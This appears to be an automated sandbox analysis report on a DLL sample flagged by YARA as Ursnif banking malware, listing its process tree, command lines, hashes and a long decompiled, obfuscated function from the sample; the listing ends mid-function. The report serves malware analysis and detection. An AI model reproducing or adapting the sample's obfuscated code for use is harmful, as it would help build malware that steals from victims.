Chronological Activities

Analysis Process: cmd.exe PID: 4952 Parent PID: 6004

General

Start time:	18:14:19
Start date:	04/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\O2U2nEYAZO.dll',#1
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5492 Parent PID: 6004

General

Start time:	18:14:19
Start date:	04/05/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\O2U2nEYAZO.dll,DllServer
Imagebase:	0xf20000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000003.00000002.267745617.0000000000750000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 3336 Parent PID: 4952

General

Start time:	18:14:19
Start date:	04/05/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\O2U2nEYAZO.dll',#1
Imagebase:	0xf20000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000004.00000002.305804273.0000000003000000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 6004 Parent PID: 5700 loaddll32.exeCOMMON

Executed Functions

Function 00E95F16, Relevance: 2.8, APIs: 1, Instructions: 1269
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 74%

			E00E95F16(void* __eax, signed int __ebx, void* __ecx, signed int __edx, signed int __edi, signed int __esi, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _t610;
				void* _t612;
				signed int _t613;
				intOrPtr _t619;
				void* _t626;
				void* _t628;
				void* _t630;
				signed int _t631;
				signed int _t633;
				signed int _t636;
				signed int _t638;
				void* _t640;
				intOrPtr _t641;
				signed int _t644;
				void* _t646;
				signed int _t647;
				signed int _t650;
				signed int _t652;
				signed int _t653;
				intOrPtr _t656;
				signed int _t658;
				signed int _t661;
				signed int _t665;
				void* _t667;
				signed int _t668;
				signed int _t671;
				signed int _t675;
				signed int _t677;
				void* _t679;
				signed int _t680;
				signed int _t682;
				signed int _t684;
				signed int _t689;
				void* _t691;
				signed int _t692;
				signed int _t698;
				signed int _t701;
				signed int _t706;
				void* _t708;
				intOrPtr _t709;
				signed int _t711;
				void* _t713;
				signed int _t714;
				signed int _t717;
				intOrPtr _t720;
				signed int _t722;
				void* _t724;
				signed int _t726;
				intOrPtr _t729;
				void* _t730;
				signed int _t733;
				void* _t739;
				void* _t741;
				void* _t742;
				signed int _t744;
				void* _t746;
				signed int _t747;
				signed int _t753;
				signed int _t756;
				signed int _t760;
				void* _t762;
				signed int _t767;
				signed int _t771;
				void* _t773;
				void* _t775;
				void* _t776;
				intOrPtr _t778;
				signed int _t781;
				signed int _t785;
				intOrPtr _t788;
				signed int _t791;
				intOrPtr _t794;
				signed int _t797;
				signed int _t813;
				signed int _t816;
				void* _t819;
				signed int _t821;
				signed int _t824;
				void* _t827;
				void* _t828;
				void* _t830;
				signed int _t836;
				signed int _t840;
				signed int _t842;
				signed int _t844;
				signed int _t851;
				signed int _t856;
				signed int _t859;
				signed int _t862;
				signed int _t865;
				signed int _t867;
				signed int _t869;
				signed int _t875;
				signed int _t882;
				void* _t888;
				signed int _t889;
				signed int _t893;
				signed int _t896;
				signed int _t901;
				signed int _t906;
				signed int _t908;
				signed int _t916;
				signed int _t920;
				signed int _t924;
				signed int _t926;
				signed int _t928;
				signed int _t931;
				signed int _t934;
				signed int _t936;
				signed int _t939;
				signed int _t945;
				signed int _t947;
				signed int _t950;
				signed int _t953;
				signed int _t955;
				signed int _t958;
				void* _t966;
				signed int _t969;
				signed int _t975;
				signed int _t977;
				signed int _t979;
				signed int _t981;
				signed int _t986;
				signed int _t987;
				signed int _t1002;
				signed int _t1005;
				signed int _t1009;
				signed int _t1012;
				signed int _t1015;
				signed int _t1018;
				signed int _t1020;
				signed int _t1023;
				signed int _t1026;
				signed int _t1028;
				signed int _t1031;
				signed int _t1034;
				signed int _t1035;
				void* _t1036;
				long _t1041;
				void* _t1043;
				signed int _t1045;
				signed int _t1052;
				signed int _t1054;
				signed int _t1057;
				signed int _t1060;
				signed int _t1063;
				signed int _t1065;
				signed int _t1068;
				void* _t1069;
				signed int _t1071;
				signed int _t1074;
				void* _t1077;
				signed int _t1078;
				signed int _t1081;
				signed int _t1085;
				void* _t1089;
				signed int _t1091;
				void* _t1097;
				void* _t1102;
				signed int _t1103;
				signed int _t1106;
				void* _t1109;
				signed int _t1112;
				signed int _t1119;
				signed int* _t1120;
				signed int* _t1121;
				signed int* _t1122;
				signed int* _t1123;
				signed int* _t1124;
				signed int* _t1125;
				signed int* _t1126;
				signed int* _t1127;
				signed int* _t1128;
				signed int* _t1129;
				signed int* _t1130;
				signed int* _t1131;
				signed int* _t1132;
				signed int* _t1133;
				signed int* _t1134;
				signed int* _t1136;
				signed int* _t1139;
				signed int* _t1140;
				signed int* _t1141;
				signed int* _t1142;
				signed int* _t1143;
				signed int* _t1144;

				_t1063 = __esi;
				_t1002 = __edi;
				_t813 = __ebx;
				_push(__eax);
				 *_t1119 =  *_t1119 & 0x00000000;
				 *_t1119 =  *_t1119 + _t1102;
				_t1103 = _t1119;
				_t1120 = _t1119 + 0xfffffff0;
				_push(_t1103);
				 *_t1120 =  *_t1120 & 0x00000000;
				 *_t1120 =  *_t1120 + __ecx;
				_push(__ecx);
				 *_t1120 =  *_t1120 & 0x00000000;
				 *_t1120 =  *_t1120 ^ __edx;
				_push(_t1103);
				 *_t1120 =  *_t1120 ^ _t1103;
				 *_t1120 =  *_t1120 ^ __ebx + 0x0041cca8;
				_v16 = _v16 & 0x00000000;
				_push(_v16);
				 *_t1120 =  *_t1120 + __ebx + 0x41cd5f;
				_push( *((intOrPtr*)(__ebx + 0x41f068))());
				_pop( *_t7);
				_push(_v16);
				_pop( *_t9);
				_pop( *_t10);
				_t920 = _v16;
				_t1121 = _t1120 - 0xfffffffc;
				_push(__esi);
				 *_t1121 =  *_t1121 ^ __esi;
				 *_t1121 =  *_t1120;
				_push(_v16);
				 *_t1121 = _t920;
				_push(__edi);
				 *_t1121 =  *_t1121 - __edi;
				 *_t1121 =  *_t1121 ^ __ebx + 0x0041c01b;
				_t610 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push(_v16);
				 *_t1121 = _t610;
				_push(__esi);
				 *_t1121 =  *_t1121 & 0x00000000;
				 *_t1121 =  *_t1121 + __ebx + 0x41c678;
				_t612 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_pop( *_t18);
				_push(_t920);
				 *_t20 = _t612;
				_v20 = _v20 + _v20;
				_push(_v20);
				_pop(_t613);
				_v20 = _t613;
				_t836 = 0 ^  *(__ebx + 0x41c55d);
				if(_t836 > _v20) {
					_push(_v12);
					 *_t1121 = __ebx + 0x41c01b;
					_push(_t1103);
					 *_t1121 =  *_t1121 ^ _t1103;
					 *_t1121 =  *_t1121 + __ebx + 0x41c678;
					_push( *((intOrPtr*)(__ebx + 0x41f064))());
					_pop( *_t31);
					_push(_v20);
					_pop( *_t33);
				}
				_pop( *_t34);
				_t924 = _v20;
				 *_t1121 =  *_t1121 & 0x00000000;
				 *_t1121 =  *_t1121 + _t924;
				 *_t1121 =  *_t1121 & 0x00000000;
				 *_t1121 =  *_t1121 | _t813 + 0x0041c8b2;
				 *_t1121 =  *_t1121 & 0x00000000;
				 *_t1121 =  *_t1121 + _t813 + 0x41d167;
				_t619 =  *((intOrPtr*)(_t813 + 0x41f068))(_t924, _t924, _t836);
				_v12 = _t836;
				 *((intOrPtr*)(_t813 + 0x41c883)) = _t619;
				 *_t1121 = _t813 + 0x41c565;
				_v12 = 0;
				 *_t1121 =  *_t1121 | _t813 + 0x0041c574;
				_push( *((intOrPtr*)(_t813 + 0x41f060))(_v12, _v20));
				_pop( *_t48);
				_push(_v20);
				_pop( *_t50);
				_pop( *_t51);
				 *_t1121 =  *_t1121 - _t1103;
				 *_t1121 =  *_t1121 ^ _v20;
				 *_t1121 =  *_t1121 ^ _t813;
				 *_t1121 =  *_t1121 + _t813 + 0x41cd20;
				_push( *((intOrPtr*)(_t813 + 0x41f060))(_t813, _t1103));
				_pop( *_t55);
				_push(_v16);
				_pop( *_t57);
				_t626 =  *((intOrPtr*)(_t813 + 0x41f060))();
				_v16 = _v16 & 0x00000000;
				 *_t1121 =  *_t1121 + _t626;
				_v16 = _v16 & 0x00000000;
				 *_t1121 =  *_t1121 + _t813 + 0x41c3ee;
				_t628 =  *((intOrPtr*)(_t813 + 0x41f060))(_v16, _v16);
				 *_t1121 =  *_t1121 ^ _t924;
				 *_t1121 =  *_t1121 + _t628;
				_v12 = _v12 & 0x00000000;
				 *_t1121 =  *_t1121 | _t813 + 0x0041cfe9;
				_t630 =  *((intOrPtr*)(_t813 + 0x41f060))(_v12, _t924);
				_pop( *_t72);
				_t840 = _v20;
				 *_t74 = _t630;
				_v20 = _v20 + _t840;
				_push(_v20);
				_pop(_t631);
				_t1065 = _t1063;
				_t842 = _t840 & 0x00000000 | _t1103 & 0x00000000 ^  *(_t813 + 0x41ca09);
				_t1106 = _t1103;
				if(_t842 > _t631) {
					 *_t1121 =  *_t1121 & 0x00000000;
					 *_t1121 =  *_t1121 + _t813 + 0x41c3ee;
					 *_t1121 = _t813 + 0x41cfe9;
					_t631 =  *((intOrPtr*)(_t813 + 0x41f064))(_v12, _t813);
					_push(_t924);
					 *(_t813 + 0x41c365) =  *(_t813 + 0x41c365) & 0x00000000;
					 *(_t813 + 0x41c365) =  *(_t813 + 0x41c365) ^ _t924 & 0x00000000 ^ _t631;
				}
				_t633 = _t631 & 0x00000000 ^  *_t1121;
				_t1122 =  &(_t1121[1]);
				 *_t1122 = _t1002;
				 *(_t813 + 0x41d240) = _t633;
				_t1005 = 0;
				_pop( *_t88);
				_t926 = 0 ^ _v20;
				_pop( *_t90);
				_t844 = _t842 & 0x00000000 ^ _v16;
				 *_t1122 =  *_t1122 & 0x00000000;
				 *_t1122 =  *_t1122 ^ _t926;
				 *_t1122 =  *_t1122 & 0x00000000;
				 *_t1122 =  *_t1122 | _t844;
				 *_t1122 =  *_t1122 & 0x00000000;
				 *_t1122 =  *_t1122 ^ _t813 + 0x0041c624;
				_v12 = _v12 & 0x00000000;
				 *_t1122 =  *_t1122 ^ _t813 + 0x0041d36b;
				_t636 =  *((intOrPtr*)(_t813 + 0x41f068))(_v12, _t926, _t1005, _t633);
				 *(_t813 + 0x41c655) =  *(_t813 + 0x41c655) & 0x00000000;
				 *(_t813 + 0x41c655) =  *(_t813 + 0x41c655) | _t844 -  *_t1122 ^ _t636;
				_t1123 =  &(_t1122[1]);
				_v16 = _v16 & 0x00000000;
				 *_t1123 =  *_t1123 ^  *_t1122;
				_v16 = 0;
				 *_t1123 =  *_t1123 ^ _t813 + 0x0041c891;
				_t638 =  *((intOrPtr*)(_t813 + 0x41f060))(_v16, _v16, _t844);
				 *_t1123 =  *_t1123 - _t1106;
				 *_t1123 =  *_t1123 | _t638;
				_v12 = 0;
				 *_t1123 =  *_t1123 ^ _t813 + 0x0041c30f;
				_t640 =  *((intOrPtr*)(_t813 + 0x41f060))(_v12, _t1106);
				_t851 =  *_t1123;
				_t1124 =  &(_t1123[1]);
				 *_t113 = _t640;
				_v16 = _v16 + _t851;
				_push(_v16);
				_pop(_t641);
				_t928 = _t926;
				_v16 = _t1005;
				if((_t851 & 0x00000000 | _t1005 ^ _v16 |  *(_t813 + 0x41ca38)) > _t641) {
					_v20 = _v20 & 0x00000000;
					 *_t1124 =  *_t1124 | _t813 + 0x0041c891;
					_v12 = 0;
					 *_t1124 =  *_t1124 + _t813 + 0x41c30f;
					_t641 =  *((intOrPtr*)(_t813 + 0x41f064))(_v12, _v20);
				}
				 *_t1124 = _t928;
				 *((intOrPtr*)(_t813 + 0x41c910)) = _t641;
				_t931 = 0;
				_v12 = _t1065;
				_t1068 = _v12;
				_v12 = 0;
				 *_t1124 =  *_t1124 | 0 ^ _a4;
				_v16 = 0;
				 *_t1124 =  *_t1124 | _t813 + 0x0041c9ef;
				_t644 =  *((intOrPtr*)(_t813 + 0x41f060))(_v16, _v12);
				_v12 = 0;
				 *_t1124 =  *_t1124 ^ _t644;
				 *_t1124 = _t813 + 0x41cb65;
				_t646 =  *((intOrPtr*)(_t813 + 0x41f060))(_v20, _v12);
				_t1125 =  &(_t1124[1]);
				_v12 = _t931;
				_push( *_t1124 + _t646);
				_t934 = _v12;
				_pop(_t647);
				_v12 = _t647;
				_t856 = 0 ^  *(_t813 + 0x41c187);
				_t650 = _v12;
				if(_t856 > _t650) {
					_v20 = 0;
					 *_t1125 =  *_t1125 | _t813 + 0x0041c9ef;
					 *_t1125 =  *_t1125 ^ _t856;
					 *_t1125 =  *_t1125 + _t813 + 0x41cb65;
					_t650 =  *((intOrPtr*)(_t813 + 0x41f064))(_t856, _v20);
					_v16 = _t1068;
					 *(_t813 + 0x41c651) =  *(_t813 + 0x41c651) & 0x00000000;
					 *(_t813 + 0x41c651) =  *(_t813 + 0x41c651) | _t1068 ^ _v16 | _t650;
					_t1068 = _v16;
				}
				_t652 = _t650 & 0x00000000 ^  *_t1125;
				_t1126 = _t1125 - 0xfffffffc;
				 *_t162 = _t652;
				_v16 = _v16 +  *((intOrPtr*)(_t652 + 0x3c));
				_push(_v16);
				_pop(_t653);
				_t936 = _t934;
				 *_t1126 = _t653;
				 *_t1126 =  *_t1126 & 0x00000000;
				 *_t1126 =  *_t1126 ^ _t813 + 0x0041c16e;
				 *_t1126 = _t813 + 0x41ce8a;
				_t656 =  *((intOrPtr*)(_t813 + 0x41f068))(_v20, _t1068, _v20);
				 *_t1126 = _t1106;
				 *((intOrPtr*)(_t813 + 0x41c0cc)) = _t656;
				_t1109 = 0;
				_t658 =  *_t1126;
				_t1127 =  &(_t1126[1]);
				 *_t1127 = _t658;
				 *_t1127 =  *_t1127 - _t856;
				 *_t1127 =  *_t1127 ^ _t658;
				 *_t1127 =  *_t1127 - _t936;
				 *_t1127 =  *_t1127 + _t813 + 0x41c791;
				_v12 = _v12 & 0x00000000;
				 *_t1127 =  *_t1127 ^ _t813 + 0x0041ca02;
				_t661 =  *((intOrPtr*)(_t813 + 0x41f068))(_v12, _t936, _t856, _v16);
				 *_t1127 = _t936;
				 *(_t813 + 0x41c9e0) = 0 ^ _t661;
				_t939 = 0;
				_t1128 = _t1127 - 0xfffffffc;
				_v20 = _t813;
				_t1009 =  *_t1127;
				_t816 = _v20;
				_v12 = 0;
				 *_t1128 =  *_t1128 | _t816 + 0x0041c000;
				_t665 =  *((intOrPtr*)(_t816 + 0x41f060))(_v12);
				 *_t1128 =  *_t1128 ^ _t1009;
				 *_t1128 = _t665;
				 *_t1128 =  *_t1128 - _t1009;
				 *_t1128 =  *_t1128 ^ _t816 + 0x0041cc73;
				_t667 =  *((intOrPtr*)(_t816 + 0x41f060))(_t1009, _t1009);
				_t1129 =  &(_t1128[1]);
				 *_t1129 =  *_t1129 ^ _t1068;
				_t1069 = _t667;
				_t668 = _t1069 + (_t856 & 0x00000000 |  *_t1128);
				_t1071 = 0;
				_v20 = _t1009;
				_t859 = 0 ^  *(_t816 + 0x41c250);
				_t1012 = _v20;
				if(_t859 > _t668) {
					 *_t1129 =  *_t1129 - _t1012;
					 *_t1129 =  *_t1129 ^ _t816 + 0x0041c000;
					_v12 = 0;
					 *_t1129 =  *_t1129 | _t816 + 0x0041cc73;
					_t668 =  *((intOrPtr*)(_t816 + 0x41f064))(_v12, _t1012);
				}
				 *(_t816 + 0x41c695) =  *(_t816 + 0x41c695) & 0x00000000;
				 *(_t816 + 0x41c695) =  *(_t816 + 0x41c695) | _t859 & 0x00000000 ^ _t668;
				_t862 = _t859;
				 *_t1129 =  *_t1129 - _t1071;
				 *_t1129 =  *_t1129 + ( *(_t1012 + 6) & 0x0000ffff);
				 *_t1129 = _t816 + 0x41ca88;
				_t671 =  *((intOrPtr*)(_t816 + 0x41f060))(_v12, _t1071);
				_v20 = _t862;
				 *(_t816 + 0x41d151) =  *(_t816 + 0x41d151) & 0x00000000;
				 *(_t816 + 0x41d151) =  *(_t816 + 0x41d151) | _t862 ^ _v20 ^ _t671;
				_t865 = _v20;
				_pop( *_t211);
				_v8 = _v8 & 0x00000000;
				_v8 = _v8 ^ (_t816 & 0x00000000 | 0 ^ _v16);
				_t819 = _t816;
				 *_t1129 =  *_t1129 & 0x00000000;
				 *_t1129 =  *_t1129 ^ _t819 + 0x0041c863;
				_t675 =  *((intOrPtr*)(_t819 + 0x41f060))(_t819);
				 *(_t819 + 0x41c2ac) =  *(_t819 + 0x41c2ac) & 0x00000000;
				 *(_t819 + 0x41c2ac) =  *(_t819 + 0x41c2ac) | _t1109 -  *_t1129 ^ _t675;
				_t1112 = _t1109;
				 *_t1129 =  *_t1129 - _t865;
				 *_t1129 =  *_t1129 ^ _t1012;
				 *_t1129 = _t819 + 0x41ca0d;
				_t677 =  *((intOrPtr*)(_t819 + 0x41f060))(_v12, _t865);
				 *_t1129 = _t677;
				 *_t1129 = _t819 + 0x41cbe6;
				_t679 =  *((intOrPtr*)(_t819 + 0x41f060))(_v12, _v20);
				_t867 =  *_t1129;
				_t1130 = _t1129 - 0xfffffffc;
				 *_t230 = _t679;
				_v16 = _v16 + _t867;
				_push(_v16);
				_pop(_t680);
				_t821 = _t819;
				_t869 = _t867 & 0x00000000 | _t1071 & 0x00000000 ^  *(_t821 + 0x41d053);
				_t1074 = _t1071;
				if(_t869 > _t680) {
					_t235 = _t821 + 0x41ca0d; // 0x41ca0d
					_v12 = 0;
					 *_t1130 =  *_t1130 | _t235;
					_t238 = _t821 + 0x41cbe6; // 0x41cbe6
					 *_t1130 =  *_t1130 & 0x00000000;
					 *_t1130 =  *_t1130 + _t238;
					_t680 =  *((intOrPtr*)(_t821 + 0x41f064))(_t1074, _v12);
				}
				 *_t1130 = _t1012;
				 *(_t821 + 0x41c918) = 0 ^ _t680;
				_t1015 = 0;
				_v16 = _t869;
				_v16 = 0;
				 *_t1130 =  *_t1130 + (_t939 & 0x00000000 | _t869 ^ _v16 |  *(_t1015 + 0x54));
				_t247 = _t821 + 0x41d093; // 0x41d093
				 *_t1130 =  *_t1130 & 0x00000000;
				 *_t1130 =  *_t1130 | _t247;
				_t682 =  *((intOrPtr*)(_t821 + 0x41f060))(_v16);
				 *_t1130 = _t1015;
				 *(_t821 + 0x41c4f0) = 0 ^ _t682;
				_t1018 = 0;
				 *_t250 = _t821;
				_t1020 = _t1018 & 0x00000000 ^ (_t1074 ^  *_t1130 |  *(_t821 + 0x41c166));
				_t1077 = _t1074;
				 *_t1130 =  *_t1130 & 0x00000000;
				 *_t1130 =  *_t1130 ^ _v16;
				_t253 = _t821 + 0x41cfd9; // 0x41cfd9
				_v20 = 0;
				 *_t1130 =  *_t1130 | _t253;
				_t684 =  *((intOrPtr*)(_t821 + 0x41f060))(_v20, _t1077);
				_v20 = _t1020;
				 *(_t821 + 0x41c323) =  *(_t821 + 0x41c323) & 0x00000000;
				 *(_t821 + 0x41c323) =  *(_t821 + 0x41c323) | _t1020 ^ _v20 ^ _t684;
				_t1023 = _v20;
				_t1131 =  &(_t1130[1]);
				 *_t1131 = _t684;
				_t1078 = _a4;
				_v12 = _v12 & 0x00000000;
				 *_t1131 =  *_t1131 |  *_t1130;
				_t268 = _t821 + 0x41ca9e; // 0x41ca9e
				_v12 = _v12 & 0x00000000;
				 *_t1131 =  *_t1131 | _t268;
				_t689 =  *((intOrPtr*)(_t821 + 0x41f060))(_v12, _v12, 0);
				 *_t1131 =  *_t1131 & 0x00000000;
				 *_t1131 =  *_t1131 | _t689;
				_t273 = _t821 + 0x41c931; // 0x41c931
				 *_t1131 =  *_t1131 & 0x00000000;
				 *_t1131 =  *_t1131 | _t273;
				_t691 =  *((intOrPtr*)(_t821 + 0x41f060))(_v16);
				 *_t275 = _t1023;
				_v20 = _t821;
				_push(0 + _v16 + _t691);
				_t824 = _v20;
				_pop(_t692);
				_push( *((intOrPtr*)(_t824 + 0x41cccf)));
				_pop( *_t280);
				_push(_v12);
				_pop(_t875);
				if(_t875 > _t692) {
					 *_t1131 = _t824 + 0x41ca9e;
					 *_t1131 =  *_t1131 & 0x00000000;
					 *_t1131 =  *_t1131 ^ _t824 + 0x0041c931;
					_t692 =  *((intOrPtr*)(_t824 + 0x41f064))(_t1078, _v16);
					 *_t286 = _t692;
					_push(_v16);
					_pop( *_t288);
				}
				_pop( *_t289);
				_t945 = _v12;
				_v12 = _t692;
				 *_t1131 = _t875 & 0x00000000 | _t692 ^ _v12 | _t945;
				 *_t1131 =  *_t1131 ^ _t824;
				 *_t1131 =  *_t1131 + _t945;
				_v12 = 0;
				 *_t1131 =  *_t1131 ^ _t824 + 0x0041d1ba;
				 *_t1131 = _t824 + 0x41c856;
				_t698 =  *((intOrPtr*)(_t824 + 0x41f068))(_v16, _v12, _t824, _v12);
				_v20 = _t1078;
				 *(_t824 + 0x41c0c8) = 0 ^ _t698;
				_t1081 = _v20;
				_pop( *_t304);
				_t947 = 0 ^ _v20;
				_t879 = 0 ^  *_t1131;
				_t1132 = _t1131 - 0xfffffffc;
				if(_t1023 != _t1081) {
					 *_t1132 =  *_t1132 - _t1023;
					 *_t1132 =  *_t1132 ^ _t879;
					_v20 = _v20 & 0x00000000;
					 *_t1132 =  *_t1132 + _t947;
					_v16 = 0;
					 *_t1132 =  *_t1132 ^ _t824 + 0x0041c7a9;
					_t739 =  *((intOrPtr*)(_t824 + 0x41f060))(_v16, _v20, _t1023);
					_v12 = 0;
					 *_t1132 =  *_t1132 + _t739;
					 *_t1132 =  *_t1132 & 0x00000000;
					 *_t1132 =  *_t1132 ^ _t824 + 0x0041d026;
					_t741 =  *((intOrPtr*)(_t824 + 0x41f060))(_t824, _v12);
					_t1139 = _t1132 - 0xfffffffc;
					 *_t317 = _t741;
					_v20 = _v20 + (_t879 & 0x00000000) +  *_t1132;
					_push(_v20);
					_pop(_t742);
					_t1045 = _t1023;
					_push(0);
					 *_t1139 = _t1045;
					_t906 = 0 ^  *(_t824 + 0x41c244);
					if(_t906 > _t742) {
						 *_t1139 =  *_t1139 ^ _t906;
						 *_t1139 =  *_t1139 | _t824 + 0x0041c7a9;
						 *_t1139 =  *_t1139 & 0x00000000;
						 *_t1139 =  *_t1139 + _t824 + 0x41d026;
						_t797 =  *((intOrPtr*)(_t824 + 0x41f064))(_t824, _t906);
						_push(0);
						 *_t1139 = _t947;
						 *(_t824 + 0x41cf47) = 0 ^ _t797;
					}
					_pop( *_t326);
					_t969 = _v12;
					_t908 =  *_t1139;
					_t1140 = _t1139 - 0xfffffffc;
					do {
						asm("movsb");
						_v12 = 0;
						 *_t1140 =  *_t1140 + _t908;
						_v12 = _v12 & 0x00000000;
						 *_t1140 =  *_t1140 + _t969;
						 *_t1140 =  *_t1140 - _t969;
						 *_t1140 =  *_t1140 | _t824 + 0x0041c831;
						_t744 =  *((intOrPtr*)(_t824 + 0x41f060))(_t969, _v12, _v12);
						 *_t1140 =  *_t1140 ^ _t1112;
						 *_t1140 =  *_t1140 ^ _t744;
						 *_t1140 =  *_t1140 & 0x00000000;
						 *_t1140 =  *_t1140 ^ _t824 + 0x0041c7fa;
						_t746 =  *((intOrPtr*)(_t824 + 0x41f060))(_t1081, _t1112);
						_t1141 =  &(_t1140[1]);
						 *_t337 = _t746;
						_v20 = _v20 +  *_t1140;
						_push(_v20);
						_pop(_t747);
						_t1081 = _t1081;
						_v12 = _t747;
						if((0 ^  *(_t824 + 0x41c054)) > _v12) {
							 *_t1141 = _t824 + 0x41c831;
							 *_t1141 = _t824 + 0x41c7fa;
							_t794 =  *((intOrPtr*)(_t824 + 0x41f064))(_v16, _v16);
							_v16 = _t969;
							 *((intOrPtr*)(_t824 + 0x41c254)) = _t794;
						}
						_pop( *_t352);
						_t969 = 0 + _v12;
						_t1140 = _t1141 - 0xfffffffc;
						_t908 =  *_t1141 - 1;
					} while (_t908 != 0);
					 *_t1140 =  *_t1140 & 0x00000000;
					 *_t1140 =  *_t1140 ^ _t969;
					 *_t1140 =  *_t1140 & 0x00000000;
					 *_t1140 =  *_t1140 ^ _t824 + 0x0041ccd3;
					_v20 = 0;
					 *_t1140 =  *_t1140 ^ _t824 + 0x0041c339;
					_t753 =  *((intOrPtr*)(_t824 + 0x41f068))(_v20, _t908, _t908);
					 *(_t824 + 0x41d2bf) =  *(_t824 + 0x41d2bf) & 0x00000000;
					 *(_t824 + 0x41d2bf) =  *(_t824 + 0x41d2bf) ^ _t969 ^  *_t1140 ^ _t753;
					_t975 =  *_t1140;
					_t1142 = _t1140 - 0xfffffffc;
					_v12 = _t753;
					_t756 = _v12;
					 *_t1142 =  *_t1142 ^ _t756;
					 *_t1142 =  *_t1142 ^ _t975;
					_v20 = _v20 & 0x00000000;
					 *_t1142 =  *_t1142 ^ _t824 + 0x0041c8b7;
					_push( *((intOrPtr*)(_t824 + 0x41f060))(_v20, _t756, _t969));
					_pop( *_t371);
					_push(_v16);
					_pop( *_t373);
					_pop( *_t374);
					_t977 = _t975 & 0x00000000 ^ _v16;
					 *(_t824 + 0x41c60a) = 0x40;
					 *_t1142 = _t977;
					_v16 = 0;
					 *_t1142 =  *_t1142 ^ _t824 + 0x0041c4cb;
					_t760 =  *((intOrPtr*)(_t824 + 0x41f060))(_v16, _v20);
					 *_t1142 = _t760;
					 *_t1142 = _t824 + 0x41c438;
					_t762 =  *((intOrPtr*)(_t824 + 0x41f060))(_v16, _v12);
					_pop( *_t386);
					 *_t1142 =  *_t1142 | _t824;
					_t830 = _t762;
					_t824 = 0;
					_v16 =  *((intOrPtr*)(_t824 + 0x41c166));
					_t916 =  *(_t824 + 0x41d118);
					_t1052 = _v16;
					if(_t916 > _t830 + _v20 + (_t908 & 0x00000000)) {
						_t391 = _t824 + 0x41c4cb; // 0x41c4cb
						 *_t1142 =  *_t1142 - _t916;
						 *_t1142 =  *_t1142 + _t391;
						_t392 = _t824 + 0x41c438; // 0x41c438
						 *_t1142 =  *_t1142 ^ _t977;
						 *_t1142 =  *_t1142 | _t392;
						_t791 =  *((intOrPtr*)(_t824 + 0x41f064))(_t977, _t916);
						_v20 = _t977;
						 *(_t824 + 0x41c583) =  *(_t824 + 0x41c583) & 0x00000000;
						 *(_t824 + 0x41c583) =  *(_t824 + 0x41c583) | _t977 - _v20 ^ _t791;
					}
					_t979 =  *_t1142;
					_t1143 = _t1142 - 0xfffffffc;
					_t401 = _t824 + 0x41c60a; // 0x41c60a
					 *_t1143 =  *_t1143 - _t979;
					 *_t1143 =  *_t1143 ^ _t401;
					 *_t1143 = _t979;
					_t403 = _t824 + 0x41cb46; // 0x41cb46
					 *_t1143 =  *_t1143 & 0x00000000;
					 *_t1143 =  *_t1143 + _t403;
					_t404 = _t824 + 0x41c91c; // 0x41c91c
					 *_t1143 = _t404;
					_t767 =  *((intOrPtr*)(_t824 + 0x41f068))(_v20, _t824, _v16, _t979);
					 *_t1143 = _t1081;
					 *(_t824 + 0x41cf40) = 0 ^ _t767;
					_t1097 = 0;
					_t981 =  *_t1143;
					_t1144 =  &(_t1143[1]);
					_pop( *_t408);
					 *_t1144 =  *_t1144 & 0x00000000;
					 *_t1144 =  *_t1144 + (0 ^ _v20);
					 *_t1144 = _t981;
					_t411 = _t824 + 0x41cc6e; // 0x41cc6e
					 *_t1144 = _t411;
					_t771 =  *((intOrPtr*)(_t824 + 0x41f060))(_v16, _v16, _t916);
					 *(_t824 + 0x41c082) =  *(_t824 + 0x41c082) & 0x00000000;
					 *(_t824 + 0x41c082) =  *(_t824 + 0x41c082) ^ _t981 & 0x00000000 ^ _t771;
					 *_t418 = _t981;
					_t986 = _v12;
					 *_t1144 = 2;
					_v12 = _v12 & 0x00000000;
					 *_t1144 =  *_t1144 ^ _t986;
					_t423 = _t824 + 0x41cfff; // 0x41cfff
					 *_t1144 =  *_t1144 & 0x00000000;
					 *_t1144 =  *_t1144 ^ _t423;
					_t773 =  *((intOrPtr*)(_t824 + 0x41f060))(_t1112, _v12, _t824);
					 *_t1144 =  *_t1144 & 0x00000000;
					 *_t1144 =  *_t1144 + _t773;
					_t425 = _t824 + 0x41c3b9; // 0x41c3b9
					 *_t1144 =  *_t1144 - _t1112;
					 *_t1144 =  *_t1144 | _t425;
					_t775 =  *((intOrPtr*)(_t824 + 0x41f060))(_t1112, _t986);
					_t1132 =  &(_t1144[1]);
					 *_t427 = _t775;
					_v20 = _v20 + (_t916 & 0x00000000 |  *_t1144);
					_push(_v20);
					_pop(_t776);
					_t1054 = _t1052;
					 *_t1132 = _t1054;
					_t879 =  *(_t824 + 0x41d0fa);
					_t1057 = 0;
					if(_t879 > _t776) {
						_t432 = _t824 + 0x41cfff; // 0x41cfff
						 *_t1132 =  *_t1132 - _t1112;
						 *_t1132 =  *_t1132 + _t432;
						_t433 = _t824 + 0x41c3b9; // 0x41c3b9
